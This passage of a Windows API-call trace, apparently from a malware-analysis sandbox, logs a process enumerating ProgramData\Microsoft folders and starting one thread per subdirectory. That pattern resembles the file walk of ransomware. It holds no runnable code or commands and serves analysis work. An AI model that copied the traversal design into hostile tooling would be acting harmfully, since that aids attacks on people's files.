nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0141.180] FindClose (in: hFindFile=0x9420f0 | out: hFindFile=0x9420f0) returned 1 [0141.180] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x911150) returned 1 [0141.180] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f95f8) returned 1 [0141.180] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2860) returned 1 Thread: id = 1704 os_tid = 0x83c [0139.879] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x42) returned 0x8f9648 [0139.879] wcscpy (in: _Dest=0x8f9648, _Source="C:\\ProgramData\\Microsoft\\VISIO" | out: _Dest="C:\\ProgramData\\Microsoft\\VISIO") returned="C:\\ProgramData\\Microsoft\\VISIO" [0139.879] wcscat (in: _Dest=0x8f9648, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\VISIO\\") returned="C:\\ProgramData\\Microsoft\\VISIO\\" [0139.879] wcscat (in: _Dest=0x8f9648, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\VISIO\\*") returned="C:\\ProgramData\\Microsoft\\VISIO\\*" [0139.879] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9113b8 [0139.879] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\VISIO\\*", lpFindFileData=0x9113b8 | out: lpFindFileData=0x9113b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da150 [0141.611] wcscmp (_String1=".", _String2=".") returned 0 [0141.611] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x9113b8 | out: lpFindFileData=0x9113b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.611] wcscmp (_String1="..", _String2=".") returned 1 [0141.611] wcscmp (_String1="..", _String2="..") returned 0 [0141.611] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x9113b8 | out: lpFindFileData=0x9113b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0141.611] FindClose (in: hFindFile=0x8da150 | out: hFindFile=0x8da150) returned 1 [0141.611] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9113b8) returned 1 [0141.611] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9648) returned 1 [0141.611] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d28a8) returned 1 Thread: id = 1705 os_tid = 0x840 [0139.880] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x46) returned 0x8f9698 [0139.880] wcscpy (in: _Dest=0x8f9698, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows" [0139.880] wcscat (in: _Dest=0x8f9698, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\" [0139.880] wcscat (in: _Dest=0x8f9698, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\*" [0139.880] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x911620 [0139.880] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\*", lpFindFileData=0x911620 | out: lpFindFileData=0x911620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da1d0 [0139.881] wcscmp (_String1=".", _String2=".") returned 0 [0139.881] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911620 | out: lpFindFileData=0x911620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.881] wcscmp (_String1="..", _String2=".") returned 1 [0139.881] wcscmp (_String1="..", _String2="..") returned 0 [0139.881] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911620 | out: lpFindFileData=0x911620*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd5be7172, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AIT", cAlternateFileName="")) returned 1 [0139.881] wcscmp (_String1="AIT", _String2=".") returned 1 [0139.881] wcscmp (_String1="AIT", _String2="..") returned 1 [0139.881] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4a) returned 0x8e4898 [0139.881] wcscpy (in: _Dest=0x8e4898, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows" [0139.881] wcscat (in: _Dest=0x8e4898, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\" [0139.881] wcscat (in: _Dest=0x8e4898, _Source="AIT" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AIT") returned="C:\\ProgramData\\Microsoft\\Windows\\AIT" [0139.881] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e4898, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c8 [0139.882] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911620 | out: lpFindFileData=0x911620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x283ea490, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x9b86da60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9b86da60, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Caches", cAlternateFileName="")) returned 1 [0139.882] wcscmp (_String1="Caches", _String2=".") returned 1 [0139.882] wcscmp (_String1="Caches", _String2="..") returned 1 [0139.882] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x50) returned 0x8e48f0 [0139.882] wcscpy (in: _Dest=0x8e48f0, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows" [0139.882] wcscat (in: _Dest=0x8e48f0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\" [0139.882] wcscat (in: _Dest=0x8e48f0, _Source="Caches" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Caches") returned="C:\\ProgramData\\Microsoft\\Windows\\Caches" [0139.882] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e48f0) returned 1 [0139.882] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911620 | out: lpFindFileData=0x911620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeviceMetadataStore", cAlternateFileName="DEVICE~1")) returned 1 [0139.882] wcscmp (_String1="DeviceMetadataStore", _String2=".") returned 1 [0139.882] wcscmp (_String1="DeviceMetadataStore", _String2="..") returned 1 [0139.882] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x8e88f0 [0139.882] wcscpy (in: _Dest=0x8e88f0, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows" [0139.882] wcscat (in: _Dest=0x8e88f0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\" [0139.883] wcscat (in: _Dest=0x8e88f0, _Source="DeviceMetadataStore" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore" [0139.883] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e88f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a0 [0139.884] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911620 | out: lpFindFileData=0x911620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRM", cAlternateFileName="")) returned 1 [0139.884] wcscmp (_String1="DRM", _String2=".") returned 1 [0139.884] wcscmp (_String1="DRM", _String2="..") returned 1 [0139.884] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4a) returned 0x8e48f0 [0139.884] wcscpy (in: _Dest=0x8e48f0, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows" [0139.884] wcscat (in: _Dest=0x8e48f0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\" [0139.884] wcscat (in: _Dest=0x8e48f0, _Source="DRM" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DRM") returned="C:\\ProgramData\\Microsoft\\Windows\\DRM" [0139.884] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e48f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a4 [0139.885] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911620 | out: lpFindFileData=0x911620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GameExplorer", cAlternateFileName="GAMEEX~1")) returned 1 [0139.885] wcscmp (_String1="GameExplorer", _String2=".") returned 1 [0139.885] wcscmp (_String1="GameExplorer", _String2="..") returned 1 [0139.885] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5c) returned 0x90ea78 [0139.885] wcscpy (in: _Dest=0x90ea78, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows" [0139.885] wcscat (in: _Dest=0x90ea78, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\" [0139.885] wcscat (in: _Dest=0x90ea78, _Source="GameExplorer" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\GameExplorer") returned="C:\\ProgramData\\Microsoft\\Windows\\GameExplorer" [0139.886] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x90ea78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x188 [0139.887] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911620 | out: lpFindFileData=0x911620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80e53620, ftLastAccessTime.dwHighDateTime=0x1d305f5, ftLastWriteTime.dwLowDateTime=0x80e53620, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Power Efficiency Diagnostics", cAlternateFileName="POWERE~1")) returned 1 [0139.887] wcscmp (_String1="Power Efficiency Diagnostics", _String2=".") returned 1 [0139.887] wcscmp (_String1="Power Efficiency Diagnostics", _String2="..") returned 1 [0139.887] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f7130 [0139.887] wcscpy (in: _Dest=0x8f7130, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows" [0139.887] wcscat (in: _Dest=0x8f7130, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\" [0139.887] wcscat (in: _Dest=0x8f7130, _Source="Power Efficiency Diagnostics" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics" [0139.887] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f7130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18c [0139.888] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911620 | out: lpFindFileData=0x911620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtones", cAlternateFileName="RINGTO~1")) returned 1 [0139.888] wcscmp (_String1="Ringtones", _String2=".") returned 1 [0139.888] wcscmp (_String1="Ringtones", _String2="..") returned 1 [0139.888] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x56) returned 0x8fef48 [0139.888] wcscpy (in: _Dest=0x8fef48, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows" [0139.888] wcscat (in: _Dest=0x8fef48, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\" [0139.888] wcscat (in: _Dest=0x8fef48, _Source="Ringtones" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" [0139.888] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8fef48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a8 [0139.889] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911620 | out: lpFindFileData=0x911620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sqm", cAlternateFileName="")) returned 1 [0139.889] wcscmp (_String1="Sqm", _String2=".") returned 1 [0139.889] wcscmp (_String1="Sqm", _String2="..") returned 1 [0139.889] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4a) returned 0x8e4948 [0139.889] wcscpy (in: _Dest=0x8e4948, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows" [0139.889] wcscat (in: _Dest=0x8e4948, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\" [0139.889] wcscat (in: _Dest=0x8e4948, _Source="Sqm" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm" [0139.890] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e4948, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x398 [0139.891] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911620 | out: lpFindFileData=0x911620*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1cc35f15, ftLastAccessTime.dwHighDateTime=0x1ca0440, ftLastWriteTime.dwLowDateTime=0x1cc35f15, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0139.891] wcscmp (_String1="Start Menu", _String2=".") returned 1 [0139.891] wcscmp (_String1="Start Menu", _String2="..") returned 1 [0139.891] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x58) returned 0x8fefa8 [0139.891] wcscpy (in: _Dest=0x8fefa8, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows" [0139.891] wcscat (in: _Dest=0x8fefa8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\" [0139.891] wcscat (in: _Dest=0x8fefa8, _Source="Start Menu" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu" [0139.891] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8fefa8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x39c [0139.892] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911620 | out: lpFindFileData=0x911620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0139.892] wcscmp (_String1="Templates", _String2=".") returned 1 [0139.892] wcscmp (_String1="Templates", _String2="..") returned 1 [0139.892] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x56) returned 0x8ff008 [0139.892] wcscpy (in: _Dest=0x8ff008, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows" [0139.892] wcscat (in: _Dest=0x8ff008, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\" [0139.892] wcscat (in: _Dest=0x8ff008, _Source="Templates" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Templates") returned="C:\\ProgramData\\Microsoft\\Windows\\Templates" [0139.892] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8ff008, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a0 [0139.895] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911620 | out: lpFindFileData=0x911620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfda01e06, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WER", cAlternateFileName="")) returned 1 [0139.895] wcscmp (_String1="WER", _String2=".") returned 1 [0139.895] wcscmp (_String1="WER", _String2="..") returned 1 [0139.895] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4a) returned 0x8e49a0 [0139.895] wcscpy (in: _Dest=0x8e49a0, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows" [0139.895] wcscat (in: _Dest=0x8e49a0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\" [0139.895] wcscat (in: _Dest=0x8e49a0, _Source="WER" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\WER") returned="C:\\ProgramData\\Microsoft\\Windows\\WER" [0139.895] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e49a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a4 [0139.896] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911620 | out: lpFindFileData=0x911620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfda01e06, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WER", cAlternateFileName="")) returned 0 [0139.896] FindClose (in: hFindFile=0x8da1d0 | out: hFindFile=0x8da1d0) returned 1 [0139.897] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x911620) returned 1 [0139.897] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9698) returned 1 [0139.897] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f92d8) returned 1 Thread: id = 1706 os_tid = 0x844 [0139.903] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4c) returned 0x8e49f8 [0139.904] wcscpy (in: _Dest=0x8e49f8, _Source="C:\\ProgramData\\Microsoft\\Windows NT" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT") returned="C:\\ProgramData\\Microsoft\\Windows NT" [0139.904] wcscat (in: _Dest=0x8e49f8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\" [0139.904] wcscat (in: _Dest=0x8e49f8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\*") returned="C:\\ProgramData\\Microsoft\\Windows NT\\*" [0139.904] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x911620 [0139.904] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\*", lpFindFileData=0x911620 | out: lpFindFileData=0x911620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9b90 [0141.606] wcscmp (_String1=".", _String2=".") returned 0 [0141.606] FindNextFileW (in: hFindFile=0x8d9b90, lpFindFileData=0x911620 | out: lpFindFileData=0x911620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.606] wcscmp (_String1="..", _String2=".") returned 1 [0141.607] wcscmp (_String1="..", _String2="..") returned 0 [0141.607] FindNextFileW (in: hFindFile=0x8d9b90, lpFindFileData=0x911620 | out: lpFindFileData=0x911620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSFax", cAlternateFileName="")) returned 1 [0141.607] wcscmp (_String1="MSFax", _String2=".") returned 1 [0141.607] wcscmp (_String1="MSFax", _String2="..") returned 1 [0141.607] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x54) returned 0x8ff1e8 [0141.607] wcscpy (in: _Dest=0x8ff1e8, _Source="C:\\ProgramData\\Microsoft\\Windows NT" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT") returned="C:\\ProgramData\\Microsoft\\Windows NT" [0141.607] wcscat (in: _Dest=0x8ff1e8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\" [0141.607] wcscat (in: _Dest=0x8ff1e8, _Source="MSFax" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax" [0142.651] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8ff1e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) 